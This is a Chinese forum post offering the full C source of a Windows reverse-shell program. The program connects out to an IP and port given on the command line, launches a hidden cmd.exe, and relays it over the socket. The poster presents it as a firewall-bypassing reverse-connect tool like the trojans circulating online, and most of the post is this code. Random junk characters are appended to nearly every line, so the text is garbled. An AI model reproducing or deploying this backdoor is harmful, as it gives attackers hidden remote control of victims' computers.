社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6884阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 H0?Vq8I?  
B(qwTz 51  
/* ============================== NK$BF(HBi  
Rebound port in Windows NT =At)?A9[  
By wind,2006/7 "HrZv+{  
===============================*/ .qD=u1{p9  
#include 8rpr10;U  
#include TT3\c,cs  
3&"+)*/ m  
#pragma comment(lib,"wsock32.lib") r(DW,xoK0  
3iBUIv  
void OutputShell(); ;noZmPa  
SOCKET sClient; Lu9`(+  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; zIy&gOX  
#Pe|}!)u  
void main(int argc,char **argv) I.hy"y2&  
{ B f"L;L  
WSADATA stWsaData; S7f"\[Aw  
int nRet; ve@E.`  
SOCKADDR_IN stSaiClient,stSaiServer; WdJJt2'  
r>Cv@4/j  
if(argc != 3) . E? a  
{ Fd1jElt  
printf("Useage:\n\rRebound DestIP DestPort\n"); L]#b =Y  
return; <z R CT  
}  #[yZP9  
=L&dV]'4P  
WSAStartup(MAKEWORD(2,2),&stWsaData); 9 gWqs'  
mWX{I2  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qz&?zzz;  
u?lbC9}$  
stSaiClient.sin_family = AF_INET; 5 ]l8l+  
stSaiClient.sin_port = htons(0); TpAso[r  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~Zo;LSI  
U]64HuL  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %WAaoR&u  
{ W:V.\  
printf("Bind Socket Failed!\n"); rhj_cw  
return; N%fDgK  
} 9/$Cq  
l }WvO]  
stSaiServer.sin_family = AF_INET; !]2`dp\!  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); EN;4EC7tE  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); UB3hC`N\  
\CVrLn;}  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) c%5Suu( J6  
{ /[,0,B9!3  
printf("Connect Error!"); pv@w 8*  
return; k4`(7Z  
} @ *n oma  
OutputShell(); , ^@z;xF  
} cxc-|Xori  
@ w?,7i-S  
void OutputShell() !T$h? o  
{ @:K={AIa  
char szBuff[1024]; l?:S)[:  
SECURITY_ATTRIBUTES stSecurityAttributes; =H/ 5  
OSVERSIONINFO stOsversionInfo; @Jc^ur  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; UIK4]cYC'  
STARTUPINFO stStartupInfo; iPdR;O'  
char *szShell; "V{v*Aei0  
PROCESS_INFORMATION stProcessInformation; Bnh*;J0  
unsigned long lBytesRead; RKD$'UWX  
E3QyiW  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); d~z%kl 5:  
kadw1sYj  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -$ha@ bCWO  
stSecurityAttributes.lpSecurityDescriptor = 0; )| 0(#R  
stSecurityAttributes.bInheritHandle = TRUE; 21 N!?DR  
:YM1p&|fS  
"P8( R  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); m e2$ R>@  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); CMC9%uq  
$mcq/W   
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); (gjCm0#_%  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h1Logm+m  
stStartupInfo.wShowWindow = SW_HIDE; O>[B"mM t  
stStartupInfo.hStdInput = hReadPipe; Z!*k0 <Z  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; s(cC ;  
W ![*0pL  
GetVersionEx(&stOsversionInfo); ?$~5ti#\  
Q&8epO|J  
switch(stOsversionInfo.dwPlatformId) ; ~#uH7k  
{ k`NXYf:  
case 1: w 3$9  
szShell = "command.com"; J8?V1Ad{  
break; !n|4w$t"V  
default: e~PAi8B5  
szShell = "cmd.exe"; !a^'Jbb  
break; /kNSB;  
} Lv7$@|"H9  
{)PgN  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); "HtaJVp//  
.wf$]oQQ  
send(sClient,szMsg,77,0); =&#t ("  
while(1) 5q _n 69b  
{ tb;u%{S  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ,d7o/8u  
if(lBytesRead) vBYk"a6SD  
{ #BwOWra  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); g<^-[w4/  
send(sClient,szBuff,lBytesRead,0); ->`R[k  
} ];*? `}#  
else u+qj_Ej  
{ A9o"L.o)  
lBytesRead=recv(sClient,szBuff,1024,0); %OJq(}  
if(lBytesRead<=0) break; MQq!<?/  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2 sK\.yS  
} ^c?$$Tq  
} DsH#?h<-o  
D| g{]nO  
return; o?S!o}  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五